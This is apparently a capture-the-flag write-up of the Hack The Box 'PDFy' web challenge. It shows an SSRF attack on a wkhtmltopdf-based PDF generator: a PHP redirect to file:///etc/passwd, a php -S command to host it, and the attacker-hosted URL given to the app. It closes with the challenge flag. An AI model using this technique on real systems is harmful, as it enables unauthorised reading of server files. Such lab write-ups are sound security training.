PDFy

Posted on Sat 28 December 2024 in HTB challenge

This is a writeup of the PDFy challenge which is a web challenge from Hack The Box.

1ad45fb777315fdccf9de6be3cb5d082.png

Enter URL and click Submit

dc5db4d6521660392cf1145334938f16.png

Built with wkhtmltopdf (see pdf)

Error

When searching for https://.

There was an error: Error generating PDF: Command '['wkhtmltopdf', '--margin-top', '0', '--margin-right', '0', '--margin-bottom', '0', '--margin-left', '0', 'https://.', 'application/static/pdfs/38d03b22c313820e7d077b70ffb8.pdf']' returned non-zero exit status 1.

Known SSRF issue with wkhtmltopdf: https://exploit-notes.hdks.org/exploit/web/security-risk/wkhtmltopdf-ssrf/

Create server.php

<?php
header('Location: file:///etc/passwd');
?>
````

# Host file
```bash
php -S 0.0.0.0:4444

Generate PDF for http://kleinebu.de:4444/server.php

7297c5d2a8cfa16d2619627a99e05eab.png

HTB{pdF_g3n3r4t1on_g03s_brrr!}

web